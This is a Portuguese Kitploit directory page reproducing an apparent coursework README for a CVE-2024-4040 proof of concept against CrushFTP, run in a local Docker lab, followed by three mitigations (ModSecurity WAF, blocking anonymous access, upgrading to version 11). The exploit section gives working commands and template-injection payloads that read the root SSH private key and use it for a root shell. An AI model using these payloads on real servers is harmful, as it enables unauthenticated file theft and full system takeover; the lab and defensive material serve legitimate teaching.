Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CrushFTP-CVE-2024-4040-Proof-of-Concept — Prova de conceito de exploit para CVE-2024-4040, demonstrando SSTI não autenticado e leitura de arquivos locais no CrushFTP, com laboratório Docker e estratégias de mitigação. | Kitploit
Ferramentas/GitHubGitHub/sidjaz/crushftp-cve-2024-4040-proof-of-concept
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubsidjaz/crushftp-cve-2024-4040-proof-of-concept

CrushFTP-CVE-2024-4040-Proof-of-Concept

Prova de conceito de exploit para CVE-2024-4040, demonstrando SSTI não autenticado e leitura de arquivos locais no CrushFTP, com laboratório Docker e estratégias de mitigação.

Ver Repositório
5há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade CVE-2024-4040 — Prova de Conceito de SSTI / LFI no CrushFTP

Apenas para uso educacional e laboratorial autorizado.
Para o módulo CS443 de Segurança de Software e Sistemas. O laboratório foi realizado em um ambiente Docker local controlado.


Resumo da Vulnerabilidade

CampoDetalhe
CVECVE-2024-4040
Software AfetadoCrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11)
Tipo de VulnerabilidadeInjeção de Template no Servidor (SSTI) → Leitura Local de Arquivos sem Autenticação
Pontuação CVSS9.8 Crítico
ImpactoAtacantes não autenticados podem ler arquivos arbitrários do sistema de arquivos do servidor

O WebInterface do CrushFTP avalia expressões de template no parâmetro path do comando zip sem sanitização. Um atacante não autenticado pode obter cookies de sessão anônimos e, em seguida, usá-los para enviar payloads de template ({working_dir}, <INCLUDE>…</INCLUDE>) que o servidor avalia e retorna — permitindo a leitura arbitrária de arquivos em todo o host.


Ambiente de Laboratório

ComponenteValor
Alvohttp://localhost:8080
Versão Base do CrushFTP no PoC10.3.0 (intencionalmente vulnerável)
Ambiente de Teste da Mitigação 3Contêiner separado executando CrushFTP 11.x (branch corrigida)
Porta SSH (contêiner)2222 → 22
Credenciais de Administradoradmin / admin
Runtime de ContêinerDocker (Compose)

Pré-requisitos

root@kitploit:~
pip install requests rich

Scripts

ScriptOrigemFinalidade
crushed.pyStuub/CVE-2024-4040-SSTI-LFI-PoCExploit completo de SSTI/LFI — roubo de sessão, leitura arbitrária de arquivos
recon.pyEste repositórioDetecção de versão, teste ao vivo de SSTI, confirmação de vulnerabilidade

Passo a Passo da Prova de Conceito

Passo 1 — Iniciar o Laboratório

root@kitploit:~
docker-compose up -d

Aguarde ~10 segundos para o CrushFTP inicializar completamente antes de executar os scripts. Nenhuma etapa separada de reconhecimento é necessária aqui porque o crushed.py já verifica se a exploração é possível durante a execução.


Passo 2 — Roubar a Chave Privada SSH via LFI

root@kitploit:~
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

O script irá:

  1. Obter uma sessão anônima CrushAuth / currentAuth em /WebInterface/
  2. Usar SSTI para confirmar a avaliação de template e vazar o hostname do servidor
  3. Usar {working_dir} para resolver o diretório de instalação do CrushFTP
  4. Usar <INCLUDE>/root/.ssh/id_rsa</INCLUDE> para ler o arquivo alvo
  5. Imprimir o conteúdo bruto do arquivo na saída padrão

Copie o bloco da chave privada da saída (tudo desde -----BEGIN OPENSSH PRIVATE KEY----- até -----END OPENSSH PRIVATE KEY-----).


Passo 3 — Salvar a Chave Roubada

root@kitploit:~
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Passo 4 — Conectar via SSH ao Contêiner como Root

root@kitploit:~
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Passo 5 — Confirmar Acesso Root

root@kitploit:~
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagrama da Cadeia de Ataque

root@kitploit:~
Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Problemas Conhecidos Importantes no crushed.py

ProblemaLocalizaçãoDetalhes
Dependência ausenteLinhas 6–9Requer pip install rich antes de executar
Parsing XML frágilLinhas 86, 140Falha em respostas de servidor não XML; sem tratamento de ParseError
Regex de token muito restritaLinhas 160–161O padrão CrushAuth=…; currentAuth=… pode não corresponder a todos os formatos de sessions.obj
Somente HTTP 404Linha 53A captura do cookie só é bem-sucedida no 404; prossegue silenciosamente em outros códigos de status

Estratégias de Mitigação

Mitigação 1 — Firewall de Aplicação Web (NGINX + ModSecurity)

Visão Geral

Um WAF atua como um proxy reverso que inspeciona o tráfego HTTP/S de entrada antes que ele chegue ao CrushFTP. Usando NGINX com ModSecurity, requisições maliciosas que exploram a CVE-2024-4040 são bloqueadas na borda da rede sem modificar o próprio CrushFTP.

Como Isso Mitiga a CVE-2024-4040

  • Bloqueia padrões de path traversal (por exemplo, ../, %2e%2e) nas URIs de requisição e cookies
  • Impede que requisições não autenticadas de escape de VFS cheguem ao CrushFTP
  • Registra e nega payloads suspeitos antes que atinjam a aplicação

Configuração Docker

Utilize Mitigation 1/docker-compose.yaml:

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuração NGINX

Utilize Mitigation 1/nginx.conf:

root@kitploit:~
worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Fluxo de Tráfego

root@kitploit:~
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Limitações

  • Não corrige a causa raiz — o CrushFTP permanece vulnerável se o WAF for contornado
  • Requer atualizações de regras à medida que atacantes desenvolvem técnicas de ofuscação

Mitigação 2 — Desativar o Acesso de Usuários Anônimos

Visão Geral

A CVE-2024-4040 é explorável sem autenticação. Neste laboratório, o acesso no estilo anônimo é bloqueado na camada NGINX, exigindo um cabeçalho Authorization antes de fazer proxy de rotas sensíveis para o CrushFTP.

Como Isso Mitiga a CVE-2024-4040

  • Scripts de exploit como crushed.py dependem de acesso não autenticado; requisições sem credenciais são rejeitadas com 401
  • Requisições para /WebInterface/ e / são negadas a menos que dados de autenticação estejam presentes
  • Reduz a exposição de endpoints vulneráveis a usuários não autenticados

Configuração Docker (Exata de Mitigation 2/docker-compose.yaml)

root@kitploit:~
services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Política NGINX (Exata de Mitigation 2/nginx.conf)

root@kitploit:~
events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Verificar via Docker

root@kitploit:~
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Limitações

  • Não corrige a vulnerabilidade subjacente; usuários autenticados ainda podem estar em risco se a lógica do exploit for adaptada
  • A aplicação da política depende do posicionamento do proxy e do tratamento correto de cabeçalhos na frente do CrushFTP

Mitigação 3 — Atualizar para a Versão 11 do CrushFTP

Visão Geral

Atualizar para o CrushFTP 11 é a correção mais eficaz e permanente. O patch adiciona validação rigorosa de entrada na resolução de caminhos VFS, eliminando a causa raiz da CVE-2024-4040.

Como Isso Mitiga a CVE-2024-4040

  • Aplica sandboxing rigoroso de caminhos VFS — tentativas de escape são rejeitadas no nível da aplicação
  • Scripts de exploit como crushed.py não funcionam mais contra a versão 11
  • A correção é aplicada no nível do código-fonte, não mascarada por controles externos

Implementação

Atualize seu Dockerfile para usar o CrushFTP 11:

root@kitploit:~
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Reconstrua o contêiner:

root@kitploit:~
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Verificar se a Correção Funciona

root@kitploit:~
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error
Baixar ferramenta